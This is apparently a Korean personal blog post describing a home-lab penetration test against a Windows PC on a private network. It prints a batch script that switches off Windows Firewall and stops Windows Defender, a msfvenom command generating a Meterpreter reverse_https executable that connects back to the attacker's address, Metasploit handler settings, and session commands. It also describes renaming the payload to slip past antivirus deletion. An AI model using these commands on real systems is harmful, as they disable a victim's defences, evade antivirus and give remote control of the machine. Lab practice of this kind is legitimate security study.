<div id="readability-page-1" class="page"><div>
                <div id="SE-c325b70f-b74d-435b-8ffd-7386c7a7cdbf">
                                    <p id="SE-4d388a6b-c099-4d92-80dd-1c7d1c23b190"><span id="SE-d9dcf75b-cc1c-4cf2-ab0b-ef4f28c796c8">심심해서 한 Pen Testing</span></p><p id="SE-8f59e40c-e8d6-4508-bc05-0e21f002553f"><span id="SE-8ab49e07-61e4-454f-a1d1-5f1e9dcb0449">​</span></p><p id="SE-5100abae-5b52-4875-bd54-627f9813c8b1"><span id="SE-1b173efa-1cf6-4f38-9bf9-e5f05cf09713">공격 : 192.168.0.144</span></p><p id="SE-a8faf71b-51b6-41af-8d57-b80c6b5a5a2a"><span id="SE-352a435a-f66d-4d20-8eff-57b5a1b32e88">타깃 : 192.168.0.11</span></p><p id="SE-9ff61ab9-703f-48ce-af24-7b886691a629"><span id="SE-85cb54d5-5547-4a58-8b67-90e9443b505d">​</span></p><p id="SE-11823fbd-7fa3-4378-b9bb-81495cc27845"><span id="SE-32ae6a10-234c-4e29-b3ac-609ddd1d078c">​</span></p><p id="SE-442d006f-36e6-46af-8176-f9e231fcb009"><span id="SE-cf517409-7089-401c-99ff-e038b82039ea">타깃 PC의 방화벽 해제.bat 실행</span></p>
                            </div>                <div id="SE-0625b976-3ece-4720-888b-fa91b394621e">
                                    <p>@echo off

echo Disabling Windows Firewall...
netsh advfirewall set allprofiles state off

echo Stopping Windows Defender...
sc stop WinDefend

echo Done.
</p>
                                </div>                                <div id="SE-5b412475-4003-49f8-b992-b954628347bf">
                                    <p>msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.0.144 LPORT=443 -f exe -o /home/mingbong/Desktop/output_file.exe
</p>
                                </div>                <div id="SE-a5b7f6b0-3ae8-412f-bbdf-6ca56ceff853">
                                <p><a href="#" onclick="return false;" data-linktype="img" data-linkdata="{&quot;id&quot; : &quot;SE-a5b7f6b0-3ae8-412f-bbdf-6ca56ceff853&quot;, &quot;src&quot; : &quot;https://mblogthumb-phinf.pstatic.net/MjAyNDAxMThfMTE0/MDAxNzA1NTYwNjgyOTUx.TJJw79MzwXUwCyKAR5D3nweBNT4MpQzEKzxbXUe8xecg.bWf2jYa62YOoCLnSCfnmFdQrHWsDiS86ZTus8wRc8_kg.PNG.appeal7712/image.png&quot;, &quot;originalWidth&quot; : &quot;121&quot;, &quot;originalHeight&quot; : &quot;35&quot;, &quot;linkUse&quot; : &quot;false&quot;, &quot;link&quot; : &quot;&quot;}">
                                        <img src="https://mblogthumb-phinf.pstatic.net/MjAyNDAxMThfMTE0/MDAxNzA1NTYwNjgyOTUx.TJJw79MzwXUwCyKAR5D3nweBNT4MpQzEKzxbXUe8xecg.bWf2jYa62YOoCLnSCfnmFdQrHWsDiS86ZTus8wRc8_kg.PNG.appeal7712/image.png?type=w800" data-width="121" data-height="35" alt="">
                                    </a>
                                </p>
                        </div>
                <div id="SE-a45b3b53-3b49-4b5b-8430-b4c9a0e374c3">
                                    <p id="SE-4870e317-f5a7-480c-bd7b-de14cb2423a4"><span id="SE-c1c5a9f9-b0e0-4e40-9a7e-aaf568912d25">payload 파일을 Kali에서 -&gt; 윈도우로 갖고 오면 파일이 1초 만에 삭제되길래 .txt로 변환하고</span></p><p id="SE-202b8fbd-a18c-42c3-bc3c-f2de1ffca948"><span id="SE-073e97fa-7c44-4652-94cc-30326e36fe8e">타깃 PC에서 모든 방화벽을 해제 후에 exe 파일로 변환하여 실행시켰습니다.</span></p><p id="SE-1282adf6-ac33-40d9-9c64-fc91594577f1"><span id="SE-861608a9-4de3-4cc8-8afe-1475e685341a">​</span></p><p id="SE-f1a0eb9d-4f88-49d9-9b7b-cb564fa0b8f9"><span id="SE-b5743cb1-60da-4845-b343-8735b4a2c37f">​</span></p><p id="SE-d663644d-0c75-4bbb-815e-258f4d636b24"><span id="SE-d5c15c6c-d5e1-4672-8601-204456e59e38">​</span></p><p id="SE-41d9a507-e716-4177-8c57-653aea282be5"><span id="SE-53988930-3b61-4507-9077-5819b3523fe0">metasploit 역 커넥션 설정</span></p>
                            </div>                <div id="SE-0c0a9dbe-32ad-47e8-8bfe-bef63b05f82e">
                                    <p>use exploit/multi/handler    #세션관리 핸들러 설정
set PAYLOAD windows/meterpreter/reverse_https    #meterpreter payload 설정
set LHOST 192.168.0.144    #로컬 IP
set LPORT 443    #로컬 Port
set ExitOnSession false    #연결됐던 세션이 종료되어도 핸들러는 계속 싱행모드로 남게
exploit -j -z    #Metasploit 모듈 실행 및 백그라운드 실행, 세션 관리모드</p>
                                </div>                <div id="SE-7ad8aa9f-16fb-49bb-8907-de668537ff63">
                                <p><a href="#" onclick="return false;" data-linktype="img" data-linkdata="{&quot;id&quot; : &quot;SE-7ad8aa9f-16fb-49bb-8907-de668537ff63&quot;, &quot;src&quot; : &quot;https://mblogthumb-phinf.pstatic.net/MjAyNDAxMThfMTU0/MDAxNzA1NTYxNDc0NTcx.p_CLm5SCLtZTZ1GU7trDc6EJzYgETqofJjATs3Y62Ckg.oBa4H7lUGiGWGDSi-Xh1HhYz6vcLNArlfGpAzRWtan0g.PNG.appeal7712/image.png&quot;, &quot;originalWidth&quot; : &quot;616&quot;, &quot;originalHeight&quot; : &quot;298&quot;, &quot;linkUse&quot; : &quot;false&quot;, &quot;link&quot; : &quot;&quot;}">
                                        <img src="https://mblogthumb-phinf.pstatic.net/MjAyNDAxMThfMTU0/MDAxNzA1NTYxNDc0NTcx.p_CLm5SCLtZTZ1GU7trDc6EJzYgETqofJjATs3Y62Ckg.oBa4H7lUGiGWGDSi-Xh1HhYz6vcLNArlfGpAzRWtan0g.PNG.appeal7712/image.png?type=w800" data-width="616" data-height="298" alt="">
                                    </a>
                                </p>
                        </div>
                <div id="SE-e9f6e454-607e-4713-99fb-bd687c037d98">
                                    <p id="SE-2e85b980-a5e5-4ddf-a574-7f98c1b4525e"><span id="SE-07fe3cd4-3d3e-4cfa-bf45-2c48ec82c0d3">exploit 후에</span></p><p id="SE-76882126-4ca4-401e-ba34-f2e8780705b8"><span id="SE-d26031c1-9b1c-42ed-ab17-bf7386852dc2">​</span></p><p id="SE-c2c28464-c436-4056-8b71-de07599f9232"><span id="SE-eb7876b1-9140-4719-8e47-b371420b96a4">​</span></p><p id="SE-11ca8163-6e2a-4c91-a55d-d64a49dce7ef"><span id="SE-5b9fd9b7-f968-495d-a99c-aa5b904cb7af">​</span></p><p id="SE-37f5bcb5-980a-4e4d-a6cb-06d7b3c0aeec"><span id="SE-8d328335-8e43-472f-ba18-240bbc5dfc54">​</span></p><p id="SE-0029022a-a2ec-49f1-80c7-9509691c81c2"><span id="SE-8d1533c7-3563-4412-a737-df0442093a14">타깃 PC에서 위에서 만든 payload를 실행해 주면</span></p>
                            </div>                <div id="SE-7f093eff-94b3-43c9-b365-4ef702b2893a">
                                <p><a href="#" onclick="return false;" data-linktype="img" data-linkdata="{&quot;id&quot; : &quot;SE-7f093eff-94b3-43c9-b365-4ef702b2893a&quot;, &quot;src&quot; : &quot;https://mblogthumb-phinf.pstatic.net/MjAyNDAxMThfMjg3/MDAxNzA1NTYxNTc0NDQz.OdOKucYrpa50w7h2um1YWkeEeXDN3_P9uxturR-fltkg.0N7cGPjgJp_bWbeuD1yXf5at6CMty3xiXA8txA3M48Qg.PNG.appeal7712/image.png&quot;, &quot;originalWidth&quot; : &quot;649&quot;, &quot;originalHeight&quot; : &quot;80&quot;, &quot;linkUse&quot; : &quot;false&quot;, &quot;link&quot; : &quot;&quot;}">
                                        <img src="https://mblogthumb-phinf.pstatic.net/MjAyNDAxMThfMjg3/MDAxNzA1NTYxNTc0NDQz.OdOKucYrpa50w7h2um1YWkeEeXDN3_P9uxturR-fltkg.0N7cGPjgJp_bWbeuD1yXf5at6CMty3xiXA8txA3M48Qg.PNG.appeal7712/image.png?type=w800" data-width="649" data-height="80" alt="">
                                    </a>
                                </p>
                        </div>
                <div id="SE-dcaf57a0-8677-4a58-91ba-06299372437f">
                                    <p id="SE-13df71cc-0d6e-478e-93b0-2afc27927f3d"><span id="SE-1b82b6ca-c389-476a-9f37-86398c74e42f">세션 잘 붙는다</span></p><p id="SE-cd133fb4-29b2-4733-aed4-e23cee33aaa3"><span id="SE-5e528253-12e0-4e66-afb4-a5833e7787a9">​</span></p><p id="SE-1e6f1e9b-8dc5-4332-9626-dc0283fe4932"><span id="SE-36b2fd87-0273-4af8-9649-45cbd2f002e3">​</span></p><p id="SE-40162fb5-3ac3-4aee-a218-5d92d765c64b"><span id="SE-8a4da268-a177-4c36-b5ac-5eb2978f352b">#&gt; sessions -l </span></p><p id="SE-ceda34fd-3d09-4395-a4ff-9ceb1d579aee"><span id="SE-0a3683b4-c998-4799-b962-a0f1bbbca65e">192.168.0.144:443 -&gt; 192.168.0.11:1543  타깃의 IP가 확인된다</span></p>
                            </div>                <div id="SE-75673025-fc04-4a19-bde1-1ec39ede9439">
                                <p><a href="#" onclick="return false;" data-linktype="img" data-linkdata="{&quot;id&quot; : &quot;SE-75673025-fc04-4a19-bde1-1ec39ede9439&quot;, &quot;src&quot; : &quot;https://mblogthumb-phinf.pstatic.net/MjAyNDAxMThfMTY2/MDAxNzA1NTYxNjEyNDI2.GcN532wuVxTWMoCSC6sLBD7phb05MAgec2_1NtvmeNEg.RFQNuGfe2bRmihpeM7ktA0gHCmsBtS3jmiIS7L8K37Yg.PNG.appeal7712/image.png&quot;, &quot;originalWidth&quot; : &quot;637&quot;, &quot;originalHeight&quot; : &quot;201&quot;, &quot;linkUse&quot; : &quot;false&quot;, &quot;link&quot; : &quot;&quot;}">
                                        <img src="https://mblogthumb-phinf.pstatic.net/MjAyNDAxMThfMTY2/MDAxNzA1NTYxNjEyNDI2.GcN532wuVxTWMoCSC6sLBD7phb05MAgec2_1NtvmeNEg.RFQNuGfe2bRmihpeM7ktA0gHCmsBtS3jmiIS7L8K37Yg.PNG.appeal7712/image.png?type=w800" data-width="637" data-height="201" alt="">
                                    </a>
                                </p>
                        </div>
                <div id="SE-11fa3958-e676-4f11-aed8-dc4bf673ce91">
                                    <p id="SE-c78c5d50-724e-4225-a757-4606e87087f5"><span id="SE-52b5ec3c-3bb7-4b2f-86bc-f72e55c2c603">​</span></p><p id="SE-3d29d994-cb8d-478a-a637-3c101f412cc9"><span id="SE-9131d63f-b6f2-48f1-a2ed-ddb863639465">​</span></p><p id="SE-3aca5978-d559-497d-a306-0b548376a89d"><span id="SE-b8d0654a-32d1-410f-adf5-09c968387330">#&gt; sessions -i 1 </span></p><p id="SE-7b38f099-16c6-4099-8948-814f58c18b39"><span id="SE-0205c010-14ff-4517-94b8-82b07e35d4dd">위에 세션 리스트에 1번 ID로 잡힌 세션에 접속하고 sysinfo 명령어로 해당 PC의 정보를 확인할 수 있다</span></p>
                            </div>                <div id="SE-b7ab82bc-3567-4127-a257-886a29649f54">
                                <p><a href="#" onclick="return false;" data-linktype="img" data-linkdata="{&quot;id&quot; : &quot;SE-b7ab82bc-3567-4127-a257-886a29649f54&quot;, &quot;src&quot; : &quot;https://mblogthumb-phinf.pstatic.net/MjAyNDAxMThfMjAw/MDAxNzA1NTYxNjgyMTgy.B33p2-WuIrXDSfcjH3dwKqkZhelQdbRvxsVNFhTfyNAg.gMdWubGdfpYHBLDI2ZtIIoL8WdqwM_chcTtQ2kjrhREg.PNG.appeal7712/image.png&quot;, &quot;originalWidth&quot; : &quot;393&quot;, &quot;originalHeight&quot; : &quot;207&quot;, &quot;linkUse&quot; : &quot;false&quot;, &quot;link&quot; : &quot;&quot;}">
                                        <img src="https://mblogthumb-phinf.pstatic.net/MjAyNDAxMThfMjAw/MDAxNzA1NTYxNjgyMTgy.B33p2-WuIrXDSfcjH3dwKqkZhelQdbRvxsVNFhTfyNAg.gMdWubGdfpYHBLDI2ZtIIoL8WdqwM_chcTtQ2kjrhREg.PNG.appeal7712/image.png?type=w800" data-width="393" data-height="207" alt="">
                                    </a>
                                </p>
                        </div>
                    </div></div>

리눅스,네트워크,모의해킹 및 보안

심심해서 한 Pen Testing 공격 : 192.168.0.144 타깃 : 192.168.0.11 타깃 PC의 방화벽 해제.bat 실행 타깃 PC에서 실행할 Payload 생성 payload 파일을 Kali에서 -> 윈도우로 갖고 오면 파일이 1초 만에 삭제되길래 .txt로 변환하고 타깃 PC에서 모든 방화벽을 해제 후에 exe 파일로 변환하여 실행시켰습니다. metasploit 역 커넥션 설정 exploit 후에 타깃 PC에서 위에서 만든 payload를 실행해 주면 세션 잘 붙는다 #> sessions -l 192.168.0.144:443 -> 192.168.0.11:1543 타깃의 IP가 확인된다 #> sessions -i 1 위에 세션 리스트에 1번 ID로 잡힌 세션에 접속하고 sysinfo 명령어로 해당 PC의 정보를 확인할 수 있다 오랜만에.......

Pen Testing (Metasploit, Reverse_https)

댓글